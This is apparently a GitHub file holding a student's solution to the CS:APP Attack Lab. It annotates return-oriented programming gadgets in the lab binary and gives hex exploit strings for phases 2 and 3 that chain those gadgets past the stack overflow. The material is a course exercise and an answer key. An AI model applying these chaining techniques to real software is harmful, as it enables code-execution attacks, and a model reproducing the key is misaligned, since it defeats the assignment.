-
Notifications
You must be signed in to change notification settings - Fork 0
/
attacklab_level2
74 lines (62 loc) · 3.07 KB
/
attacklab_level2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#gadget farm:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # starting at 4019a2: mov %rax, %rdi (48 89 c7) -> retq (c3)
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # starting at 4019ab: pop %rax (58) -> nop (90) -> retq (c3)
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) # starting at 4019c6: movl %eax, %edi (89 c7) -> nop (90) -> retq (c3)
4019c9: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax # starting at 4019dc: pop %rsp (5c) -> movl %eax, %edx (89 c2) -> nop (90) -> retq (c3)
4019e0: c3 retq
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax # starting at 401a06: mov %rsp, %rax (48 89 e0) -> retq (c3)
401a09: c3 retq # or starting at 401a07: movl %esp, %eax (89 e0) -> retq (c3)
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax # starting at 401a13: movl %ecx, %esi (89 ce) -> nop -> nop -> retq (c3)
401a17: c3 retq
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax # starting at 401a27: movl %ecx, %esi (89 ce) -> cmpb %al, %al (38 c0) -> retq (c3)
401a2b: c3 retq
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax # starting at 401a34: movl %edx %ecx (89 d1) -> cmpb %cl, %cl (38 c9) -> retq (c3)
401a38: c3 retq
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax # starting at 401a3c: movl %esp, %eax (89 e0) -> retq (c3)
401a3f: c3 retq
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax # starting at 401a42: movl %eax, %edx (89 c2) -> testb %al, %al (84 c0) -> retq (c3)
401a46: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax #starting at 401a69: movl %edx, %ecx (89 d1) -> orb %bl, %bl (08 db) -> retq (c3)
401a6d: c3 retq
#end of (part of) gadget farm
phase2:
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
phase3:
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00